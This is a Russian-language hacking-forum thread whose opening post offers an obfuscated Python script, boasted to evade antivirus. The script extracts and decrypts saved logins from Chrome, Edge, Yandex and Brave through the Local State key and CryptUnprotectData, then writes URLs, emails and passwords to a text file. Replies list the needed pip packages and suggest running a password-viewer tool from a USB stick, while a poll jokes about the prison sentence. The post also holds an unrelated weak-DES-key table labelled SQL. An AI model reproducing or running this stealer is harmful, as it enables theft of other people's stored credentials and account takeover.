Загрузка...

We get passwords from any Chromium browser

Thread in Virology created by Mullvad_inactive7654401 Oct 3, 2023. (bumped Oct 3, 2023) 829 views

The poll

Скок за это дадут школьнику 14ти лет?`

Multiple votes are allowed.
Your vote will be publicly visible.
  1. Штраф

    29
    32.6%
  2. До 12 мес

    4
    4.5%
  3. От 3 до 5

    7
    7.9%
  4. Пожизненное

    18
    20.2%
  5. В Сибирь отправят

    49
    55.1%
  1. Mullvad_inactive7654401
    Mullvad_inactive7654401 Topic starter Oct 3, 2023 0 Oct 3, 2023
    Получаем пароли с Chrome, Edge итд без шифрования
    Если запустить этот python файл, то антивирус не скажет ни слова, код абсолютно андетект по самой своей структуре


    (Демонстрация под самую кринж песню, которую смог только найти)
    Google Chrome, как и другие браузеры, имеет встроенную функциональность для хранения паролей и учетных данных, которые пользователь вводит на различных веб-сайтах. Когда пользователь входит на сайт, ему предлагается сохранить учетные данные для последующего использования, и если пользователь соглашается, то имя пользователя и пароль будут сохранены во внутренней базе данных. Таким образом, при последующих посещениях этого сайта пользователь будет автоматически входить, используя сохраненные учетные данные, что упрощает процесс авторизации.

    Google Chrome хранит все учетные данные во внутреннем файле базы данных, называемом "Web data", в папке профиля текущего пользователя. В более новых версиях браузера эта база данных была перемещена в новый файл с именем "Login Data". Этот файл базы данных имеет формат SQLite и содержит несколько таблиц, в которых хранятся разные виды данных, такие как автозаполнение, ключевые слова для поиска и другие, в дополнение к учетным данным.

    Таблица "logins" в основном содержит информацию о учетных данных для входа, такую как URL веб-сайта, имя пользователя, поля пароля и т. д. Вся эта информация хранится в открытом виде, за исключением паролей, которые зашифрованы.

    Google Chrome шифрует пароль с помощью функции CryptProtectData, встроенной в Windows. Несмотря на то, что это может быть очень безопасной функцией, использующей алгоритм Triple-DES и создающей пользовательские ключи для шифрования данных, она может быть расшифрована, пока вы вошли в ту же учетную запись, что и пользователь, который ее зашифровал. Функция CryptProtectData имеет своего "брата", который делает обратное – CryptUnprotectData, который... ну, вы уже догадались, расшифровывает данные. И, очевидно, это может быть очень полезным при попытке расшифровать хранимые пароли.

    С учетом этих ограничений на допустимые ключи Triple DES был вновь одобрен только с вариантами ключей 1 и 2. Как правило, три ключа генерируются путем взятия 24 байтов от сильного генератора случайных чисел, при этом следует использовать только вариант 1 (для варианта 2 требуется всего 16 случайных байтов, но сильные генераторы случайных чисел трудно утвердить, поэтому считается, что лучше использовать только вариант 1).


    SQL
    01.01.01.01.01.01.01.01, FE.FE.FE.FE.FE.FE.FE.FE, E0.FE.FE.E0.F1.FE.FE.F1, 1F.01.01.1F.0E.01.01.0E,
    01.01.FE.FE.01.01.FE.FE, FE.FE.01.01.FE.FE.01.01, E0.FE.01.1F.F1.FE.01.0E, 1F.01.FE.E0.0E.01.FE.F1,
    01.01.E0.E0.01.01.F1.F1, FE.FE.1F.1F.FE.FE.0E.0E, E0.FE.1F.01.F1.FE.0E.01, 1F.01.E0.FE.0E.01.F1.FE,
    01.01.1F.1F.01.01.0E.0E, FE.FE.E0.E0.FE.FE.F1.F1, E0.FE.E0.FE.F1.FE.F1.FE, 1F.01.1F.01.0E.01.0E.01,
    01.FE.01.FE.01.FE.01.FE, FE.01.FE.01.FE.01.FE.01, E0.01.FE.1F.F1.01.FE.0E, 1F.FE.01.E0.0E.FE.01.F1,
    01.FE.FE.01.01.FE.FE.01, FE.01.01.FE.FE.01.01.FE, E0.01.01.E0.F1.01.01.F1, 1F.FE.FE.1F.0E.FE.FE.0E,
    01.FE.E0.1F.01.FE.F1.0E, FE.01.1F.E0.FE.01.0E.F1, E0.01.1F.FE.F1.01.0E.FE, 1F.FE.E0.01.0E.FE.F1.01,
    01.FE.1F.E0.01.FE.0E.F1, FE.01.E0.1F.FE.01.F1.0E, E0.01.E0.01.F1.01.F1.01, 1F.FE.1F.FE.0E.FE.0E.FE,
    01.E0.01.E0.01.F1.01.F1, FE.1F.FE.1F.FE.0E.FE.0E, E0.1F.FE.01.F1.0E.FE.01, 1F.E0.01.FE.0E.F1.01.FE,
    01.E0.FE.1F.01.F1.FE.0E, FE.1F.01.E0.FE.0E.01.F1, E0.1F.01.FE.F1.0E.01.FE, 1F.E0.FE.01.0E.F1.FE.01,
    01.E0.E0.01.01.F1.F1.01, FE.1F.1F.FE.FE.0E.0E.FE, E0.1F.1F.E0.F1.0E.0E.F1, 1F.E0.E0.1F.0E.F1.F1.0E,
    01.E0.1F.FE.01.F1.0E.FE, FE.1F.E0.01.FE.0E.F1.01, E0.1F.E0.1F.F1.0E.F1.0E, 1F.E0.1F.E0.0E.F1.0E.F1,
    01.1F.01.1F.01.0E.01.0E, FE.E0.FE.E0.FE.F1.FE.F1, E0.E0.FE.FE.F1.F1.FE.FE, 1F.1F.01.01.0E.0E.01.01,
    01.1F.FE.E0.01.0E.FE.F1, FE.E0.01.1F.FE.F1.01.0E, E0.E0.01.01.F1.F1.01.01, 1F.1F.FE.FE.0E.0E.FE.FE,
    01.1F.E0.FE.01.0E.F1.FE, FE.E0.1F.01.FE.F1.0E.01, E0.E0.1F.1F.F1.F1.0E.0E, 1F.1F.E0.E0.0E.0E.F1.F1,
    01.1F.1F.01.01.0E.0E.01, FE.E0.E0.FE.FE.F1.F1.FE, E0.E0.E0.E0.F1.F1.F1.F1, 1F.1F.1F.1F.0E.0E.0E.0E,

    Python
    import base64 as O,json,os as B,shutil as P,sqlite3 as Q
    from Crypto.Cipher import AES
    from win32crypt import CryptUnprotectData as R
    N='columns'
    M='query'
    I='utf-8'
    H='login_data'
    G=print
    F=open
    A=B.getenv('LOCALAPPDATA')
    C={'google-chrome-sxs':A+'\\Google\\Chrome SxS\\User Data','google-chrome':A+'\\Google\\Chrome\\User Data','microsoft-edge':A+'\\Microsoft\\Edge\\User Data','yandex':A+'\\Yandex\\YandexBrowser\\User Data','brave':A+'\\BraveSoftware\\Brave-Browser\\User Data'}
    J={H:{M:'SELECT action_url, username_value, password_value FROM logins','file':'\\Login Data',N:['URL','Email','Password'],'decrypt':True}}
    def S(path):
    E='\\Local State';G='os_crypt';C=None;D=path
    if not B.path.exists(D):return
    if G not in F(D+E,'r',encoding=I).read():return
    with F(D+E,'r',encoding=I)as H:J=H.read()
    K=json.loads(J);A=O.b64decode(K[G]['encrypted_key']);A=A[5:];A=R(A,C,C,C,0)[1];return A
    def T(buff,key):B=buff[3:15];C=buff[15:];D=AES.new(key,AES.MODE_GCM,B);A=D.decrypt(C);A=A[:-16].decode();return A
    def U(path,profile,key):
    C='temp_db';D=f"{path}\\{profile}\\Login Data"
    if not B.path.exists(D):return
    E=''
    try:P.copy(D,C)
    except:pass
    F=Q.connect(C);G=F.cursor()
    try:G.execute(J[H][M])
    except:pass
    for A in G.fetchall():
    A=list(A)
    if isinstance(A[2],bytes):A[2]=T(A[2],key)
    E+='\n'.join([f"{A}: {B}"for(A,B)in zip(J[H][N],A)])+'\n\n'
    F.close();B.remove(C);return E
    def V():
    A=[]
    for D in C.keys():
    if B.path.exists(C[D]):A.append(D)
    return A
    if __name__=='__main__':
    W=V();D=''
    for E in W:K=C[E];X=S(K);G(f"{E}");Y=U(K,'Default',X);D+=f"app: {E}\n{Y}\n\n"
    if D:
    L='out.txt'
    with F(L,'w',encoding=I)as Z:Z.write(D)
    G(f"Saved {L}")
    else:G('\t err 1')
     
  2. чифир
    чифир Oct 3, 2023 325 Jun 22, 2022
    1. Mullvad_inactive7654401 Topic starter
      чифир, pip install и эти две библиотеки
    2. Бабадук_inactive3903339
      чифир,
      pip install pycryptodome

      pip install pywin32
  3. Sennix
    Sennix Oct 18, 2023 Banned 475 Sep 15, 2023
    кому лень, просто качайте webbrowserpassview от нира, и батник с html на флешку :ok_cool:
     
  4. Andrey_NEMO
    что за библиотеки?
     
Loading...
Top